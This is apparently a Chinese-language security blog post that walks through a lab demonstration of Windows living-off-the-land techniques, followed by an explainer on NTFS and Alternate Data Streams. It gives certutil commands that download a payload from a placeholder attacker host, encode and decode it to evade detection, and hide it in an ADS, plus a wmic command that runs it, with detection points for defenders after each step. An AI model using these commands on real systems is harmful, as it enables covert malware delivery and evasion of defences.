2462 字
12 分鐘
From LOL to LOLBAS - Win10/11 Attack

Certutil 的障眼法 - 下載、編碼/解碼與藏身術 (ADS)#

目標: 演示如何利用 Windows 內建的 certutil.exe 工具,執行檔案下載、Base64 編碼/解碼(這個是為了規避偵測),以及將檔案隱藏到 NTFS 替代資料流 (Alternate Data Stream, ADS) 中,最後嘗試從 ADS 執行。

所需環境:

  1. 攻擊者機器 (Attacker VM):
    • 能運行一個簡單的 HTTP 伺服器就好。
    • 準備一個「惡意」負載檔案,為了安全演示,這邊使用的是小算盤。找到 calc.exe (通常在 C:\Windows\System32\),複製一份並重新命名為 payload.exe
    • 記下攻擊者機器的 IP 位址 (<attacker_ip>)。
  2. 受害者機器 (Victim VM):
    • Windows 10 或 Windows 11 虛擬機。
    • 確保網路設定允許 Victim VM 訪問 Attacker VM 的 HTTP 服務。

攻擊者機器操作:

  1. 將準備好的 payload.exe 放在一個資料夾中。

  2. 在該資料夾下開啟 Terminal。

  3. 啟動一個簡單的 HTTP 伺服器。

    Terminal window
    python -m http.server 8000

    保持此伺服器運行。

受害者機器操作:

  • 開啟「命令提示字元」(cmd.exe)。建議切換到一個方便操作的目錄(畫面才不會亂亂的w),例如 C:\Users\Public\Downloads
    Terminal window
    cd C:\Users\Public\Downloads
  1. 步驟 1:使用 Certutil 下載檔案

    • 指令: (將 <attacker_ip> 替換為攻擊者機器 IP)

      Terminal window
      certutil.exe -urlcache -split -f http://<attacker_ip>:8000/payload.exe payload.exe
      • 說明: -urlcache -split -fcertutil 用於從 URL 下載檔案的參數組合。
    • 預期結果: Terminal 顯示下載成功。在 C:\Users\Public\Downloads 目錄下會出現 payload.exe 檔案。執行應該會彈出計算機。

    • 偵測點: 監控 certutil.exe 的程序創建事件 (Sysmon EID 1 / Security 4688),注意命令列包含 -urlcache, -split, -f 及 URL。監控 certutil.exe 的網路連線 (Sysmon EID 3),注意其 User-Agent (Microsoft-CryptoAPI/10.0CertUtil URL Agent)。檢查 CryptnetUrlCache 目錄是否有下載痕跡。

  2. 步驟 2:使用 Certutil 將檔案編碼為 Base64

    • 指令:

      Terminal window
      certutil -encode payload.exe encoded_payload.txt
      • 說明: -encode 參數用於將檔案進行 Base64 編碼。
    • 預期結果: 在目前目錄下生成一個名為 encoded_payload.txt 的文字檔案,內容是 Base64 編碼的字串。

    • 偵測點: 監控 certutil.exe 的程序創建事件,注意命令列包含 -encode

  3. 步驟 3:(可做可不做) 刪除原始檔案

    • 指令:
      Terminal window
      del payload.exe
    • 預期結果: 原始的 payload.exe 被刪除。
  4. 步驟 4:使用 Certutil 將 Base64 檔案解碼還原

    • 指令:

      Terminal window
      certutil -decode encoded_payload.txt decoded_payload.exe
      • 說明: -decode 參數用於解碼 Base64 檔案。
    • 預期結果: 在目前目錄下生成 decoded_payload.exe。執行應彈出計算機。

    • 偵測點: 監控 certutil.exe 的程序創建事件,注意命令列包含 -decode

  5. 步驟 5:使用 Certutil 將檔案下載到 ADS

    • 準備: 新增一個看似無害的文字檔。

      Terminal window
      echo This is a normal text file. > benign.txt
    • 指令: (將 <attacker_ip> 替換為攻擊者機器 IP)

      Terminal window
      certutil.exe -urlcache -split -f http://<attacker_ip>:8000/payload.exe benign.txt:hidden.exe
      • 說明: 將下載目標指定為 檔案名:流名稱,即可寫入 ADS。
    • 預期結果: 命令執行成功。檢查 benign.txt 的檔案大小,應該沒有變化。但 payload.exe 已被隱藏在 benign.txthidden.exe 這個 ADS 中。

    • 偵測點: 監控 certutil.exe 的程序創建事件,注意命令列包含 -urlcache:流名稱。監控 Sysmon Event ID 15 (FileStreamCreated) 事件,會記錄 ADS 的創建。

  6. 步驟 6:從 ADS 執行 (使用 WMIC)

    • 指令:

      Terminal window
      wmic process call create "C:\Users\Public\Downloads\benign.txt:hidden.exe"
      • 說明: wmic process call create 可以用來啟動程序,包括位於 ADS 中的程序。
    • 預期結果: 計算機 (calc.exe) 彈出。

    • 偵測點: 監控 wmic.exe 的程序創建事件,注意命令列包含 :流名稱。觀察程序樹,wmic.exe 啟動了 benign.txt:hidden.exe (實際執行的是 calc.exe)。

攻擊者機器觀察:

  • 在 HTTP 伺服器的終端機視窗中,應該會看到來自 Victim VM IP 位址的 GET 請求記錄,請求的資源是 /payload.exe

tmptool 漏洞與利用 - 完整偵查攻擊流程#

win10 arm64 vm: https://massgrave.dev/windows_arm_links

深入了解 Windows 如何整理檔案 (NTFS 基礎)

想像一下你的電腦硬碟是一個巨大的倉庫,需要一個高效的管理系統來存放和尋找各種貨物(檔案)。NTFS (New Technology File System) 就是 Windows 使用的那個先進的管理系統,從 Windows NT/XP 時代一直沿用至今。

跟舊式的管理方法(像是 FAT/FAT32,你可以想成是簡單的標籤登記)比起來,NTFS 有幾個重要的特點:

  1. 檔案不只是檔案,更像是一個「物件」:

    • 在 NTFS 眼裡,一個檔案(例如 mydocument.docx)不單純只是一塊資料。它把它看作是一個包含了很多「屬性」(Attributes) 的集合體
    • 這些屬性包括了我們熟悉的:檔案名稱、建立/修改時間、唯讀/隱藏設定、檔案擁有者和權限 (誰可以讀寫)。
    • 最關鍵的是:連檔案的「實際內容」(文件的文字、圖片的像素資料等)本身,也只是一種叫做 $DATA 的屬性!
  2. 中央總管:主檔案表 (Master File Table - MFT):

    • NTFS 把所有檔案和資料夾的「身分證」和「屬性清單」都記錄在一個非常重要的、隱藏的「總登記簿」裡,叫做 MFT。
    • 硬碟上的每個檔案/資料夾,在 MFT 裡都至少有一條記錄,詳細記載它的所有屬性。如果屬性不多,甚至直接存在 MFT 裡;如果屬性太多(例如檔案內容很大),MFT 裡會記錄指向硬碟其他位置的指標。

檔案的「主要內容」 vs. 「隱藏夾層」(預設資料流 vs. ADS)

了解了檔案是由「屬性」組成的之後,我們來聚焦在存放「內容」的 $DATA 屬性上:

  1. 每個檔案都有「主要置物空間」(預設資料流 - Default Data Stream):

    • 任何一個正常的檔案,至少會有一個 $DATA 屬性,用來存放我們平常認知中的檔案內容。例如,你在 Word 裡打的字,就是存在這個主要的 $DATA 屬性裡。
    • 這個主要的 $DATA 流,在 NTFS 內部是沒有名字的(或者說名字是空的)。
    • 當你用檔案總管點兩下打開檔案,或者用 typemore 等基本指令讀取檔案時,你互動的就是這個沒有名字的、預設的 $DATA
    • 它的完整寫法類似 myfile.txt::$DATA,但因為是預設的,通常直接簡寫成 myfile.txt
  2. 檔案可以有「隱藏夾層」(替代資料流 - Alternate Data Streams, ADS):

    • 這是 NTFS 的一個核心特性:它允許一個檔案(或甚至是一個資料夾)擁有 不只一個 $DATA 資料流!
    • 除了那個主要的、沒名字的 $DATA 流之外,你可以額外附加其他的 $DATA到同一個檔案上,但這些額外的流必須有自己的名字。這就是「替代資料流」(ADS)。
    • 比喻: 再次想像那個行李箱。
      • 主要的衣物放在行李箱主空間裡(預設資料流)。
      • 你可以把一些不想讓別人看到的小東西(X,塞進行李箱內襯的秘密拉鍊夾層裡(替代資料流)。這個夾層屬於同一個行李箱,但跟主要空間是分開的,而且你需要知道有這個夾層(知道它的名字)才能找到裡面的東西。
    • 命名方式: 在指令列環境下,通常用 檔案名稱:資料流名稱 的格式來指定 ADS。例如,myfile.txt:hidden_info 就表示 myfile.txt 這個檔案上,附加了一個叫做 hidden_info 的 ADS。更完整的內部表示是 myfile.txt:hidden_info:$DATA。流的名稱可以使用大部分合法的檔名 字元。

ADS 的「正當」用途與「隱蔽」特性

  • 最初目的: ADS 設計的初衷之一是為了相容蘋果電腦早期的檔案系統 (HFS),它也有類似的「分叉」(forks) 概念,允許一個檔案包含多種資料。
  • 合法應用: Windows 自己也會用到 ADS。最常見的例子是:當你從網路上下載一個檔案時,瀏覽器通常會在這個檔案後面附加一個叫做 Zone.Identifier 的 ADS。這個 ADS 裡記錄了檔案的來源區域(例如來自網際網路)。當你試圖執行這個檔案時,Windows 會檢查這個 ADS,如果發現是來自不信任區域,就會跳出安全警告。
  • 關鍵的隱蔽性:
    • 看不見: 對於一般的 Windows 工具(檔案總管、大部分應用程式、基本的 dir 指令)來說,ADS 是完全透明的。你看不到它們的存在。
    • 大小不變: 一個檔案就算附加了很大的 ADS(例如藏了一個 10MB 的程式在一個 1KB 的文字檔的 ADS 裡),你在檔案總管看到的檔案大小,仍然只會顯示主要的、預設資料流的大小(1KB)。這使得藏在 ADS 裡的東西非常難以被察覺。

Why ADS?

正是因為 ADS 的這種「原生隱蔽性」和「大小欺騙性」,讓它成為攻擊者完美的藏匿地點:

  1. 藏匿惡意軟體: 把病毒執行檔 (.exe)、惡意動態連結庫 (.dll)、腳本 (.ps1, .vbs) 等,附加到一個看似無害的正常檔案(如系統日誌 .log、設定檔 .ini、普通文字檔 .txt)的 ADS 中。
  2. 藏匿駭客工具: 攻擊過程中需要用到的其他工具,也可以藏在 ADS 裡,避免直接放在硬碟上被掃描發現。
  3. 藏匿竊取資料: 偷到的敏感資料,可以先暫時寫入某個檔案的 ADS,再找機會傳出去。
  4. 躲避偵測: 很多傳統的防毒軟體、檔案掃描工具,預設可能不會去檢查檔案的 ADS 部分。即使掃描了主檔案是乾淨的,也可能忽略藏在 ADS 裡的威脅。

總之,NTFS 的 ADS 提供了一個由檔案系統本身支援的、對常規用戶和工具「隱形」的儲存空間。攻擊者利用這個特性,就能在不引起注意的情況下,將惡意物件隱藏在系統的眼皮底下,大大增加了防禦的難度。

image

image

image

From LOL to LOLBAS - Win10/11 Attack
https://owld.tw/posts/from-lol-to-lolbas---win10_11-attack/
作者
owl_d
發佈於
2025-04-30
許可協議
CC BY-NC-SA 4.0